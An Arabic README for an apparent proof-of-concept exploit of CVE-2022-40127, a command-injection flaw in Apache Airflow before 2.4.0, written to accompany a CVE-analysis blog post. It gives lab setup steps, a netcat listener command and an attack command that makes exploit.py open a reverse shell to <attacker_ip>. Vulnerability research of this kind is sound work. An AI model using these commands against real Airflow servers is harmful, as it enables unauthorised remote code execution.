
إثبات مفهوم لاستغلال CVE-2022-40127 يستهدف تنفيذ الأوامر عن بُعد (RCE) في Apache Airflow عبر معامل run_id مُصمم خصيصًا، مع تسليم تلقائي لقشرة عكسية (reverse shell).
PoC لثغرة CVE-2022-40127 وهي ثغرة RCE في Apache Airflow تؤثر على الإصدارات السابقة للإصدار 2.4.0.
يقول وصف التقرير الرسمي:
توجد ثغرة أمنية في DAGs المثال (Example Dags) في Apache Airflow تسمح لمهاجم لديه وصول إلى واجهة المستخدم ويمكنه تشغيل DAGs بتنفيذ أوامر عشوائية عبر معامل run_id المُقدَّم يدويًا. تؤثر هذه المشكلة على إصدارات Apache Airflow السابقة للإصدار 2.4.0.
أُنشئ هذا المستودع لمنشور مدونة لتحليل CVE متاح على مدونة vsociety.
https://github.com/jakabakos/CVE-2022-40127/assets/42498816/2094f2ec-f074-41e6-99f4-f9f77dd09df6
يمكنك استنساخ المستودع:
git clone https://github.com/jakabakos/CVE-2022-40127.git
نزّل ملف docker-compose من المستودع الرسمي
cd /opt/
mkdir airflow-2.3.4 && cd airflow-2.3.4
curl -LfO 'https://airflow.apache.org/docs/apache-airflow/2.3.4/docker-compose.yaml'
شغّل Airflow
mkdir -p ./dags ./logs ./plugins
echo -e "AIRFLOW_UID=$(id -u)" > .env
docker-compose up airflow-init
docker-compose up
open localhost:8080
في هذه الحالة، سيكون كل من اسم المستخدم وكلمة المرور airflow.
استنادًا إلى تعليمات التثبيت الرسمية:
pip3.8 install "apache-airflow==2.3.4" --constraint "https://raw.githubusercontent.com/apache/airflow/constraints-2.3.4/constraints-3.7.txt"
يمكنك التحقق من نجاح التثبيت باستخدام الأمر which airflow و/أو الأمر airflow info.
شغّل Airflow
airflow standalone
ستجد كلمة المرور واسم المستخدم المُولَّدَين في السجلات.
أولاً، ثبّت الحزم المطلوبة باستخدام pip:
pip3 install -r requirements.txt
اعرض الخيارات المتاحة باستخدام:
python3 exploit.py --help
يمكنك التحقق مما إذا كان المضيف قابلاً للاستغلال أم لا:
python3 exploit.py -u airflow -p airflow -url http://localhost:8080
أعدّ مستمعًا (listener) محليًا لاستقبال الـ reverse shell في جلسة طرفية أخرى:
nc -lvnp 4242
شغّل السكربت في وضع الهجوم باستخدام هذا الأمر:
python3 exploit.py -u airflow -p airflow -url http://localhost:8080 -a -host <attacker_ip> -port 4242
يجب أن ترى الاتصال خلال دقيقة تقريبًا.
